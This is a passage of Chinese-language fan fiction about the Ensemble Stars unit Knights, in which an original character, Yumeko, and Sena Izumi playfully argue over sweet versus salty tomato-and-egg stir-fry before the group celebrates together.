色泽鲜亮，番茄炒得恰到好处，鸡蛋嫩滑，最关键的是，空气中弥漫着一股明显的、甜丝丝的香气。梦子自信满满地将其端上桌，眼神挑衅地看向濑名泉。
“尝尝吧，泉前辈！这才是番茄炒蛋应有的、温暖人心的味道！”
濑名泉抱着手臂，一脸不以为然，但在众人（主要是鸣上岚起哄和朔间凛月看戏的目光）的注视下，还是拿起筷子，矜持地夹了一小块放入口中。
他咀嚼的动作停顿了一瞬。
（……蛋确实很嫩，火候掌握得不错。番茄的酸味被糖很好地中和，形成了一种……独特的酸甜口感。）
但他是坚定的咸党！
“呜~”他放下筷子，努力维持着挑剔的表情，“糖放得太多了！完全掩盖了食材本身的味道！而且，这种做法根本不符合营养均衡的原则！”
“诶——？！”梦子不服气，“明明是濑名前辈不懂欣赏！岚姐姐，凛月前辈，你们说呢？”
鸣上岚小心翼翼地尝了一口，眼睛一亮：“酸甜口的确实很开胃呢！很适合夏天哦！梦子亲好厉害！”
朔间凛月慢吞吞地咽下，评价：“…还行…比小~濑的少了点攻击性…适合配粥…”
濑名泉的反击：
他不甘示弱，立刻重新做了一份自己版本的咸口番茄炒蛋，这次更加注重摆盘，甚至用葱花点缀出了简单的图案。
“这才叫色香味俱全，以及味道的层次感！”
两人像两只斗气的猫，各自守着自己的盘子，试图拉拢其他成员站队。休息室里一时间充满了“甜的好吃！”“咸的正宗！”的争论声。
最终，这场“女子力”对决没有明确的胜者。但鸣上岚的一句话点醒了大家：
“不管是甜的还是咸的，不都是梦子亲和泉亲用心为我们做的吗？这份心意，才是最‘女子力’满分的部分吧？”
梦子和濑名泉对视一眼，同时哼了一声别开脸，但气氛却缓和了下来。
（算了，跟这种味觉异常的家伙没什么好争的。）
（哼，不懂欣赏甜味魅力的顽固前辈。）
这场甜咸之战，最终以平局收场，但也成为了Knights日常中又一笔浓墨重彩的、充满生活气息的回忆。至于番茄炒蛋到底该是甜是咸？
嗯，这大概会是个永恒的谜题了。
甜味的哲学与幸福的论证
梦子双手叉腰，对濑名泉的“营养均衡论”发起了全面反击，眼睛瞪得圆圆的，里面闪烁着对甜味的坚定信仰：
“甜味怎么能说是掩盖食材本身呢！它是在提升！是赋予食物灵魂！”她掰着手指，开始列举甜味的种种好处，“甜味能刺激多巴胺分泌，让人心情愉悦！训练那么累，吃点甜的补充能量、转换心情，难道不好吗？”
她越说越激动，仿佛在捍卫什么伟大的真理：
“而且谁说甜口番茄炒蛋就没层次了？糖的甜、番茄的微酸、鸡蛋的醇厚，融合在一起才是完美的平衡！就像……就像Knights的大家，风格不同，但在一起就能创造出最棒的舞台一样！”
她甚至开始引经据典（自创的）：“中华料理博大精深，甜味应用无处不在！糖醋里脊、菠萝咕咾肉、桂花糖藕……哪个不是经典？甜味是带来幸福的味道！”
最后，她使出了绝杀，眼神带着点小得意和不容置疑：
“总之，甜党才是追求幸福和快乐的党派！濑名前辈你们咸党，就是太严肃、太一板一眼了！生活已经够辛苦啦，吃点甜的犒劳自己有什么错！”她顿了顿，小声嘟囔，“……而且，我、我就是想让大家吃了之后能开心一点嘛……”
这最后一句近乎嘀咕的真心话，比前面所有慷慨陈词都更有力量。
濑名泉看着她那副为了“甜味信仰”据理力争、甚至有点胡搅蛮缠，最后却流露出柔软内心的样子，原本到了嘴边的反驳突然有些说不出口了。他别扭地移开视线，耳根微热。
（烦人~这家伙……总是这样，用一些歪理和莫名其妙的热情……）
（……不过，“想让大家都开心”这一点……倒也不算全错……）
他最终只是“啧”了一声，没再继续争论，算是默许了甜口番茄炒蛋在Knights休息室存在的权利。虽然他心里依然坚持咸口才是正统，但偶尔……偶尔尝一下那种甜腻腻的味道，似乎……也不是完全不能忍受。
尤其是，当看到梦子因为他的“默许”而瞬间亮起来的眼睛时。
别扭的妥协与旋转的圈圈
看到濑名泉虽然没有明确赞同，但也没有再出言反对，梦子眼睛瞬间亮得像盛满了星星，脸上绽开一个大大的、毫无阴霾的笑容。
“耶！默认就是同意！甜党胜利！”她欢呼一声，像个拿到糖果的小孩，一手拉起鸣上岚，一手试图去够朔间凛月，甚至还不忘用眼神示意露桉，“岚姐姐！凛月前辈！露桉！来庆祝一下！”
鸣上岚立刻配合地笑着被她拉起来：“真拿梦子亲没办法呢~”
朔间凛月虽然一脸“好麻烦”的表情，但还是慢吞吞地被她拽了起来，嘴里嘟囔着：“…这种庆祝方式好幼稚…”
露桉则是在梦子期待的目光中，沉默地站起身，虽然表情依旧冷静，但并没有拒绝。
梦子就这样拉着他们三个，在休息室中央笨拙又开心地转起了圈圈，嘴里还哼着不成调的欢快旋律。
濑名泉抱着手臂站在一旁，看着这略显幼稚的场景，嘴角微微抽搐，习惯性地吐槽：“你是小孩子嘛？就因为这种小事就开心成这样？”
可他话音刚落，转圈圈转到他面前的梦子突然松开拉着凛月的手，笑嘻嘻地朝他伸出双手，眼睛弯成了月牙，用带着点撒娇意味的甜腻嗓音邀请道：
“濑名前辈~也一起来嘛~”
“……”濑名泉的身体瞬间僵住，耳根以肉眼可见的速度泛红。他猛地别开脸，声音都提高了八度，带着明显的慌乱，“哈？！谁、谁要参加这种幼稚的游戏啊！绝对不要！”
但梦子只是笑得更灿烂了，手依然固执地伸着，眼神亮晶晶地看着他。
最终，在另外三人（包括露桉）无声的注视下，濑名泉极其不情愿地、用几乎是从牙缝里挤出来的声音说道：
“……就、就一下！……而且不许告诉任何人！”
然后，他别别扭扭地、几乎是同手同脚地，被梦子拉进了那个小小的、欢快的圆圈里。
Knights的休息室里，第一次响起了濑名泉夹杂着抱怨和羞恼，却又莫名没有真正挣脱的喧闹声。而梦子银铃般的笑声，则成为了这个下午最动人的背景音乐。